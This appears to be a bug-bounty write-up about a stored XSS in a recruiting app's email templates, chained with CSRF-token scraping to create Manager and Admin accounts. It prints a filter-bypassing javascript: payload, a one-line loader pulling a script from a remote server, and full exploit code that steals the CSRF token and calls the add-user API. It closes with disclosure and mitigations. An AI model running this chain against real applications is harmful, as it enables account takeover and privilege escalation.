The target and initial discovery
The target was an external recruiting application with multiple roles: Admin, Manager and Staff. The application allowed users to create templates for email outreach. Templates had a title and a body field and supported inserting links. While testing template inputs I noticed link insertion behaved oddly.
I tried typical payloads such as javascript:alert() and received validation errors stating invalid syntax. After multiple attempts and case variations, I was able to store a link with javascripT:alert(1). The payload did not execute inside the template editor or in the composer, so at first it seemed harmless.
Where the XSS actually fired
The application echoed certain outgoing emails into an Activity feed. When that echo rendered the stored template the javascripT: link executed. If you select visible text in the template body and attach a link, the malicious href is hidden behind normal-looking text. The rendered content appears benign while the underlying link is a payload.
Escalation plan: CSRF token scraping
Cookies were set with the HttpOnly flag, so stealing document cookies using JavaScript was not possible. The plan was to steal CSRF tokens from admin pages and make requests from the victim's browser. Because the victim's browser would be on the same origin, cookies and session credentials would be sent automatically with those requests. In short, the exploit would run inside a privileged user's browser, extract the CSRF token and then call privileged APIs using the victim's session.
The attack steps were as follows:
- Store an XSS payload that loads a remote script when a privileged user clicks it in Activity.
- The remote script requests a protected admin page containing a CSRF token in its HTML.
- The script parses the HTML, extracts the CSRF token, and issues a POST to the add-user API including the token and allowing the browser to send cookies automatically.
- A new Manager or Admin user is created and the attacker can log in with those credentials.
The exploit code
The hosted exploit first fetched the admin "add" page, parsed the CSRF token from the HTML and then posted to the user creation endpoint using credentials: 'include'.
JavaScript
function readBody(xhr) {
var data;
if (!xhr.responseType || xhr.responseType === "text") {
data = xhr.responseText;
} else if (xhr.responseType === "document") {
data = xhr.responseXML;
} else {
data = xhr.response;
}
var parser = new DOMParser();
var resp = parser.parseFromString(data, "text/html");
token = resp.getElementsByName('_csrf')[0].content; // grab first available token
csrf(token);
return data;
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
response = readBody(xhr);
}
};
xhr.open('GET', 'https://target.com/admin/add', true);
xhr.send(null);
function csrf(token) {
fetch('https://target.com/api/add.action', {
method: 'POST',
headers: {
'Accept': 'application/json, text/plain, */*',
'X-Csrf-Token': token,
'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
'Referer': 'https://target.com/admin/add'
},
credentials: 'include',
body: 'firstName=hacker&lastName=r29k&emailId=r29k%40gmail.com&phoneNo=&Permissions=1'
});
}
The stored payload used to load the hosted exploit was a single-line loader that appended a remote script tag:
XSS Payload
javascript:var s=document.createElement('script');s.type='text/javascript';s.src='https://myserver/file.js';document.head.appendChild(s);
Execution and outcome
The Activity echo is visible to Managers and Admins. When a Manager clicked the echoed email the hosted script executed in their browser. It fetched the admin add page, extracted the CSRF token and posted the add-user request using the Manager's session. A new user with Manager privileges was created and the attacker obtained the credentials.
After my Admin account was unlocked I executed the same exploit and created an Admin-level user. The issue was reported and validated by the vendor. The bounty awarded was one thousand US dollars.
Responsible disclosure and credits
I submitted a detailed report including the PoC and mitigation suggestions. Credit for exploit assistance goes to Neolex.
Mitigations and recommendations
- Do not allow javascript protocols in user-supplied links. Normalize and validate href attributes on the server before saving.
- Escape or sanitize user-generated HTML before rendering in admin or privileged contexts. Avoid echoing raw templates into admin-facing feeds.
- Keep CSRF tokens and other sensitive tokens out of easily parsed HTML. Prefer server-bound CSRF verification mechanisms tied to session state and same-site cookie policies.
- Apply a strict Content Security Policy on privileged pages to block inline scripts and untrusted script sources.
- Audit WYSIWYG and template editors to ensure they sanitize pasted content and disallow dangerous protocols.
Final notes
Stored XSS that looks harmless in the editor can be a powerful escalation vector when rendered into privileged UIs. Small behaviors such as permitting odd href casing or echoing templates back into an Activity feed can lead to account takeover quickly once the chain is assembled.
If you have questions or feedback, DM me on LinkedIn Sheraz Khalid. Thank you for reading.